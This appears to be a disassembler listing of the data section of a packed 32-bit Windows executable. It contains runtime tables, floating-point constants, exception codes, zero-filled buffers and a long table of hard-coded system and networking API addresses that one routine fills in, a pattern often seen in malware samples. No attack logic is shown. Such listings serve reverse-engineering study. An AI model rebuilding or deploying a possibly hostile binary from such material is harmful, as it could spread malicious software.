		dd offset nullsub_2
		dd offset nullsub_2
dword_43A968	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A96C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A980	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A984	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A990	dd offset off_43A990	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A994	dd offset off_43A990	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9A8
		dd offset dword_43A9A8
dword_43A9A0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9A8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.packed:0043A998o
					; .packed:0043A99Co
off_43C9B0	dd offset off_43A990	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9B4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9B8	dd offset word_43C9C2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9BC	dd offset word_43C9C2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9C2	dw 20h			; DATA XREF: sub_424D47+18r
					; .packed:off_43C9B8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBC4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBC8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBD0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBD4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBD8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CBE0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CBE4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CBF0	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCD0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCD4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE38	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE40	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE48	dd 14h			; DATA XREF: sub_421624+2o
off_43CE4C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C930h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43CF20	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF30	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF48	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF54	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF60	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF64	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF68	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF6C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF70	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF74	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CF84	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CF88	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CF8C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D000	dd 3			; DATA XREF: sub_422CEE+58r
					; sub_425955+C8r
dword_43D004	dd 7			; DATA XREF: sub_422CEE+5Er
					; sub_425955+CDr
dword_43D008	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D00C	dd 8Ch			; DATA XREF: sub_422CEE+82r
					; sub_422CEE+8Fw ...
dword_43D010	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D018	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D01C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EE4h
		dd 0FFh, 427960h
off_43D0A8	dd offset dword_4DBC60	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC60
		dd 101h
dword_43D0B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0C8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D118	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D328	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D330	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D338	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D350	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D368	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D36C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D370	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
dword_43D374	dd 545350h, 0Fh	dup(0)	; DATA XREF: .packed:off_43D3F4o
dword_43D3B4	dd 544450h, 0Fh	dup(0)	; DATA XREF: .packed:off_43D3F8o
off_43D3F4	dd offset dword_43D374	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D3F8	dd offset dword_43D3B4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D400	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D404	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D408	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D410	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D414	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D418	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D41C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D44C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D450	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D488	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D5E8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D744	dd offset off_427D68	; DATA XREF: .packed:00427F44o
					; .packed:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D75C	dd offset off_427D68	; DATA XREF: .packed:off_427DF8o
					; .packed:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D77C	dd offset off_427D68	; DATA XREF: .packed:off_427E40o
					; .packed:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D79C	dd offset off_427D68	; DATA XREF: .packed:off_427E8Co
					; .packed:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7C0	dd offset off_427D68	; DATA XREF: .packed:off_427ED8o
					; .packed:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D7E0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43D7E8	db 0			; DATA XREF: sub_40111D+62o
					; sub_401221+24Do ...
		align 10h
dword_43D7F0	dd 0			; DATA XREF: sub_401221+38Fo
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D808	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43E370	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43E570	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43E574	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43E578	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43E57C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E580	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43E584	dd 0			; DATA XREF: sub_401221+3DEw
					; sub_401221+456w ...
byte_43E588	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1C71h dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .packed:off_433E24o
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .packed:off_438B7Co
		dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .packed:off_4389E8o
		dd 584Ah dup(0)
dword_4CB370	dd 0C2BBh		; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CB374	dd 1Bh			; DATA XREF: sub_401221+3Dw
					; sub_401ACD:loc_4044D7r ...
dword_4CB378	dd 0			; DATA XREF: sub_401221:loc_4016FFo
dword_4CB37C	dd 20h dup(0)		; DATA XREF: sub_401221+495o
					; sub_401221+52Fo ...
dword_4CB3FC	dd 10h dup(0)		; DATA XREF: sub_401221+4ABo
dword_4CB43C	dd 24h dup(0)		; DATA XREF: sub_401221+4C2o
dword_4CB4CC	dd 0			; DATA XREF: sub_401221+4B6w
					; sub_401221+546w ...
dword_4CB4D0	dd 0			; DATA XREF: sub_401221+4D5w
		align 10h
byte_4CB4E0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB4E4	dd 0			; DATA XREF: sub_401221+4E3w
					; sub_401221+4FAr ...
dword_4CB4E8	dd 0			; DATA XREF: sub_401221+49Aw
					; sub_401ACD+8BEr
dword_4CB4EC	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CB4F0	dd 77C72C6Bh		; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CB4F4	dd 77EBA994h		; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CB4F8	dd 7622A3F4h		; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CB4FC	dd 71C45229h		; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CB500	dd 71C24870h		; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CB504	dd 77C71BB0h		; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CB508	dd 77D4808Bh		; DATA XREF: sub_409B12+213w
					; sub_409B12+234r ...
dword_4CB50C	dd 71C4502Ch		; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CB510	dd 77DE801Bh		; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CB514	dd 77DDACABh		; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CB518	dd 77DE8075h		; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CB51C	dd 77DD7496h		; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CB520	dd 71AB1B7Bh		; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CB524	dd 77E686CCh		; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CB528	dd 71C2498Bh		; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CB52C	dd 77DDAB2Fh		; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CB530	dd 7620E8C3h		; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CB534	dd 77DD23D7h		; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CB538	dd 76214750h		; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CB53C	dd 77E6D75Bh		; DATA XREF: sub_409B12+B3w
dword_4CB540	dd 7620BD61h		; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CB544	dd 71AB60C9h		; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CB548	dd 77EBA6E9h		; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CB54C	dd 76D62A58h		; DATA XREF: sub_409B12+934w
					; sub_413284+11Ar
dword_4CB550	dd 76F36EAAh		; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CB554	dd 77E802FCh		; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CB558	dd 77C75455h		; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CB55C	dd 71AB12A7h		; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r ...
dword_4CB560	dd 71C574FAh		; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CB564	dd 71AB1746h		; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CB568	dd 71C21CA3h		; DATA XREF: sub_409B12+A0Cw
dword_4CB56C	dd 71B28D0Dh		; DATA XREF: sub_409B12+B50w
dword_4CB570	dd 762211EFh		; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CB574	dd 77D902E3h		; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CB578	dd 71C2FA86h		; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CB57C	dd 77DE1291h		; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CB580	dd 77E2C1B3h		; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CB584	dd 73B81E3Bh		; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CB588	dd 71ABF628h		; DATA XREF: sub_409B12+6ACw
					; sub_4107BF+D0r
dword_4CB58C	dd 71AB1836h		; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB590	dd 77C72889h		; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CB594	dd 71C453F8h		; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CB598	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CB59C	dd 77E96645h		; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CB5A0	dd 77428B97h		; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CB5A4	dd 71AB41DAh		; DATA XREF: sub_401221+8Cr
					; sub_401ACD+5117r ...
dword_4CB5A8	dd 762059A3h		; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CB5AC	dd 71C4A1B4h		; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CB5B0	dd 1F7CD214h		; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CB5B4	dd 77E09134h		; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CB5B8	dd 77D4456Bh		; DATA XREF: sub_409B12+22Dw
					; sub_411CF4+40r ...
dword_4CB5BC	dd 76D629BBh		; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er ...
dword_4CB5C0	dd 1F7B9D96h		; DATA XREF: sub_409B12+C28w
dword_4CB5C4	dd 77E09070h		; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CB5C8	dd 71AB1740h		; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CB5CC	dd 7620AFB6h		; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CB5D0	dd 77D5C13Ah		; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr ...
dword_4CB5D4	dd 77D45B19h		; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CB5D8	dd 71AB157Eh		; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CB5DC	dd 71AB3E5Dh		; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CB5E0	dd 71AB14DCh		; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CB5E4	dd 0CC0004h		; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CB5E8	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CB5EC	dd 71ABD755h		; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CB5F0	dd 77DF7311h		; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CB5F4	dd 77DDA2AFh		; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CB5F8	dd 1F7CD927h		; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CB5FC	dd 76206853h		; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CB600	dd 77D4932Ch		; DATA XREF: sub_409B12+206w
					; sub_409B12+227r ...
dword_4CB604	dd 77D5E310h		; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CB608	dd 76206B7Fh		; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CB60C	dd 71AB1444h		; DATA XREF: sub_409B12+624w
					; sub_409B12+774r ...
dword_4CB610	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CB614	dd 71AB3F8Dh		; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CB618	dd 77DD5D20h		; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CB61C	dd 71AB1890h		; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CB620	dd 77C76B34h		; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CB624	dd 77D5E38Ch		; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CB628	dd 77DDA20Bh		; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CB62C	dd 76F36EEBh		; DATA XREF: sub_409B12+AA2w
dword_4CB630	dd 71AB12A7h		; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CB634	dd 71AB1746h		; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CB638	dd 77EBA595h		; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CB63C	dd 77C7531Dh		; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CB640	dd 77D4BDCAh		; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CB644	dd 71C3516Ah		; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CB648	dd 71AB32CAh		; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CB64C	dd 71AB5690h		; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CB650	dd 1F7CB8F8h		; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CB654	dd 77EBB1E7h		; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CB658	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CB65C	dd 71AB5DE2h		; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CB660	dd 71AB3ECEh		; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CB664	dd 73B81B0Fh		; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CB668	dd 76204E4Dh		; DATA XREF: sub_409B12+879w
					; sub_4163F9+4DCr ...
dword_4CB66C	dd 0			; DATA XREF: sub_409B12+112w
dword_4CB670	dd 1F7D886Ah		; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CB674	dd 71AB12F8h		; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CB678	dd 77C76551h		; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CB67C	dd 77C729E2h		; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CB680	dd 77C7212Fh		; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CB684	dd 71AB1AF4h		; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CB688	dd 77D5E303h		; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CB68C	dd 71C4576Ch		; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB690	dd 77D4702Fh		; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB694	dd 77E6C0E3h		; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB698	dd 71AB1ED3h		; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB69C	dd 71B2A381h		; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB6A0	dd 77DDA595h		; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB6A4	dd 77DD22EAh		; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB6A8	dd 773F97B0h		; DATA XREF: sub_409B12+BAAw
